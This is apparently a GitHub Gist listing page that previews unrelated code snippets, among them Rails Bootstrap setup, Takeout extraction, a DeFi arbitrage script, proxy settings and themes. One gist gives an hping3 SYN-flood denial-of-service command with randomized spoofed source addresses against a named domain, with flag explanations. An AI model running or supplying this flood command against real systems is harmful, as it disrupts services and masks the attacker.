Skip to content

Instantly share code, notes, and snippets.

@rubyandcoffee
rubyandcoffee / Bootstrap - Rails 7
Last active May 11, 2024 08:40
Bootstrap with Rails 7
Adding Bootstrap to Rails 7
Reference: https://www.linkedin.com/pulse/rails-7-bootstrap-52-importmap-md-habibur-rahman-habib/
INSTRUCTIONS
1. Add the following to Gemfile:
gem "bootstrap"
gem "sassc-rails"
@chabala
chabala / using-google-takeout.md
Last active May 11, 2024 08:37
Merge and extract tgz files from Google Takeout

Recently found some clowny gist was the top result for 'google takeout multiple tgz', where it was using two bash scripts to extract all the tgz files and then merge them together. Don't do that. Use brace expansion, cat the TGZs, and extract:

$ cat takeout-20201023T123551Z-{001..011}.tgz | tar xzivf -

You don't even need to use brace expansion. Globbing will order the files numerically:

$ cat takeout-20201023T123551Z-*.tgz | tar xzivf -
@noxx3xxon
noxx3xxon / arbitrage.py
Created August 21, 2022 22:34
CFMM Routing Arbitrage Example
import numpy as np
import cvxpy as cp
import itertools
# Problem data
global_indices = list(range(4))
# 0 = TOKEN-0
# 1 = TOKEN-1
# 2 = TOKEN-2
@christophermanning
christophermanning / octocat.svg
Last active May 11, 2024 08:31 — forked from johan/octocat.svg
octocat.svg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@andreasbotsikas
andreasbotsikas / Configure_proxy.bat
Created September 20, 2020 15:57
Set proxy for cmd.exe
Rem Based on https://stackoverflow.com/questions/26992886/set-proxy-through-windows-command-line-including-login-parameters
set HTTP_PROXY=http://proxy_userid:proxy_password@proxy_ip:proxy_port
set FTP_PROXY=%HTTP_PROXY%
set HTTPS_PROXY=%HTTP_PROXY%
@liuran001
liuran001 / config.yaml
Last active May 11, 2024 08:24
mihomo (Clash Meta) 懒人配置
# mihomo (Clash Meta) 懒人配置
# 版本 V1.5-240507
# https://gist.github.com/liuran001/5ca84f7def53c70b554d3f765ff86a33
# https://obdo.cc/meta
# 作者: 笨蛋ovo (bdovo.cc)
# Telegram: https://t.me/baka_not_baka
# 关注我的 Telegram 频道谢谢喵 https://t.me/s/BDovo_Channel
# 修改自官方示例规则 https://wiki.metacubex.one/example/#meta
# 转载请保留此注释
# 尽量添加了较为详尽的注释,不理解的地方建议对照 虚空终端 (Clash Meta) Docs 进行理解
@jloow
jloow / papercolor.json
Created January 25, 2020 19:01
PaperColor theme for Windows Terminal
// Theme based on https://github.com/NLKNguyen/papercolor-theme
// Add the following under "schemes" in "profiles.json"
{
"name": "PaperColor",
"foreground": "#444444",
"background": "#eeeeee",
"black": "#1c1c1c",
"red": "#af0000",
"green": "#008700",
"yellow":"#d75f00",
@Zeinok
Zeinok / wine-breeze-dark-theme.md
Last active May 11, 2024 08:23
Breeze Dark theme for Wine

Made possible with this reddit post.

Install

wine regedit wine-breeze-dark.reg

Uninstall (Reset Wine color scheme)

wine regedit wine-reset-theme.reg

@davidlares
davidlares / dos.md
Created June 17, 2021 03:01
DoS attack with hping3

DoS Attack with Hping3

Run the command: hping3 --flood -S -V --rand-source http://stv.com

Where:

  1. --flood send packets as fast as possible
  2. -S (Syn packet): legit TCP packet connection
  3. -V verbose mode
  4. --rand-source randomize the IP source address, like it's requested from different systems (sort of DDoS)
@Rihcus
Rihcus / ngrok-plex.py
Last active May 11, 2024 08:17 — forked from nagleaidan/ngrok-plex.py
Run plex through ngrok with SSL via duckdns
#!/usr/bin/python3
from plexapi.myplex import MyPlexAccount
import sys
import json
import requests
import time
import socket
# please make sure to install PlexAPI via pip, "pip install PlexAPI"